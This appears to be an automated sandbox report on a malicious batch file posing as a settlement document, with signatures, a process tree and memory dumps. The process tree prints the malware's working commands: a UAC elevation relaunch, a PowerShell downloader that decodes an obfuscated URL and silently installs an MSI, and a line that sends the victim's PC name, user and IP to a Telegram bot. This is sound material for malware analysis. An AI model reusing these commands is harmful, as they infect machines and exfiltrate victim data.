Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
27/07/2026, 12:25
General
- Target Documents/Q12 2026 SETTLEMENT.bat
- Size 1KB
- Sample260727-plsckaswct
- SHA256 415da0881ae2019a096bba596c1643fee0ec44d08682f748f88a39665d99a375
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell and hide display window.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 35 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Documents\Q12 2026 SETTLEMENT.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& { Start-Process cmd -ArgumentList '/c','\"C:\Users\Admin\AppData\Local\Temp\Documents\Q12 2026 SETTLEMENT.bat\" HIDDEN' -Verb RunAs -WindowStyle Hidden }"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\Documents\Q12 2026 SETTLEMENT.bat" HIDDEN3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { $s='104116116112115058047047098097105103101116114099046115051046117115045101097115116045050046097109097122111110097119115046099111109047083099114101101110067111110110101099116046067108105101110116083101116117112046109115105'; $bytes=@(); for($i=0;$i -lt $s.Length;$i+=3){ $bytes+=[byte]($s.Substring($i,3)) }; $u=[System.Text.Encoding]::ASCII.GetString($bytes); $ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri $u -OutFile 'C:\Users\Admin\AppData\Local\Temp\~temp.msi' -UseBasicParsing } catch {}"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\msiexec.exemsiexec /i "C:\Users\Admin\AppData\Local\Temp\~temp.msi" /quiet /qn /norestart4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$token='8723817827:AAEfo4zFxtKnGMqHTCp5uTRSd4XQZzYkJ_8';$chat='8125456434';$pc=$env:COMPUTERNAME;$user=$env:USERNAME;$ip=(Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing).Content.Trim();$msg=[uri]::EscapeDataString('UAC Approved'+[char]10+'PC: '+$pc+[char]10+'User: '+$user+[char]10+'IP: '+$ip);Invoke-WebRequest -Uri ('https://api.telegram.org/bot'+$token+'/sendMessage?chat_id='+$chat+'&text='+$msg) -UseBasicParsing|Out-Null"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ggsoqklp.oas.ps1
memory/1568-13-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/1568-12-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/1568-7-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/1568-8-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/1568-9-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/1568-10-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/1568-11-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/1568-5-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/1568-14-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/1568-0-0x00007FF8B90BF000-0x00007FF8B90C0000-memory.dmp
memory/1568-16-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/1568-6-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/1568-3-0x000002D8A28E0000-0x000002D8A2902000-memory.dmp
memory/1568-4-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/2512-17-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/2512-21-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/2512-24-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/2512-20-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/2512-27-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/2512-19-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
memory/2512-18-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp